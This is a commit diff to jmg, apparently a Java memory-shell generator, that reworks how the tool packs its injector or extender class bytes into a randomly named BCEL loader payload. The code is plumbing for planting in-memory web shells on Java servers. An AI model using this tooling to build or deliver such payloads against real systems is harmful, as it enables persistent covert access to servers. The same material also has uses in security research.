Skip to content

Commit 2b16edb

Browse files
committed
fix: #39
1 parent 3fe18fa commit 2b16edb

File tree

4 files changed

+32
-7
lines changed

4 files changed

+32
-7
lines changed

jmg-core/src/main/java/jmg/core/config/AbstractConfig.java

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -410,6 +410,26 @@ public void setJarClassName(String jarClassName) {
410410

411411
private String jarClassName;
412412

413+
public byte[] getBytesInLoader() {
414+
return bytesInLoader;
415+
}
416+
417+
public void setBytesInLoader(byte[] bytesInLoader) {
418+
this.bytesInLoader = bytesInLoader;
419+
}
420+
421+
private byte[] bytesInLoader;
422+
423+
public String getClassNameInLoader() {
424+
return classNameInLoader;
425+
}
426+
427+
public void setClassNameInLoader(String classNameInLoader) {
428+
this.classNameInLoader = classNameInLoader;
429+
}
430+
431+
private String classNameInLoader;
432+
413433
public void build() {
414434
// 检查 serverType、modelType、formatType 是否已设置
415435
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
@@ -429,8 +449,6 @@ public void build() {
429449
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
430450
if (this.getShellSimpleClassName() == null)
431451
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
432-
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
433-
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
434452
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
435453
}
436454
}

jmg-core/src/main/java/jmg/core/format/BCELFormater.java

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package jmg.core.format;
22

33
import jmg.core.config.AbstractConfig;
4+
import jmg.core.util.ClassNameUtil;
45
import me.gv7.woodpecker.bcel.HackBCELs;
56

67
import java.io.IOException;
@@ -9,7 +10,15 @@ public class BCELFormater implements IFormater {
910

1011

1112
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12-
// 解决 BCEL 的classloader 的问题
13+
// 解决 BCEL ClassLoader 带来的问题
14+
if (config.isEnabledExtender()){
15+
config.setBytesInLoader(config.getExtenderBytes());
16+
config.setClassNameInLoader(config.getExtenderClassName());
17+
}else{
18+
config.setBytesInLoader(config.getInjectorBytes());
19+
config.setClassNameInLoader(config.getInjectorClassName());
20+
}
21+
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
1322
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
1423
return HackBCELs.encode(bcelClzBytes).getBytes();
1524
}

jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ public static byte[] generatorBCELoaderClass(AbstractConfig config) {
1717
ctClass.setName(config.getLoaderClassName());
1818
ctClass.getClassFile().setVersionToJava5();
1919
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
20-
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
20+
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInLoader()));
2121
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
22-
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
22+
String base64ClassString = encodeToBase64(config.getBytesInLoader()).replaceAll("[\\s*\t\n\r]", "");
2323
String[] parts = splitChunks(base64ClassString, 40000);
2424
StringBuilder result = new StringBuilder();
2525
for (int i = 0; i < parts.length; i++) {

jmg-gui/src/main/java/jmg/gui/form/jMGForm.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -382,8 +382,6 @@ public void initConfig(AbstractConfig config) {
382382
config.setUrlPattern("/*");
383383
}
384384
}
385-
if (config.getOutputFormat().contains(Constants.FORMAT_BCEL))
386-
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
387385
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
388386

389387
}

0 commit comments

Comments
 (0)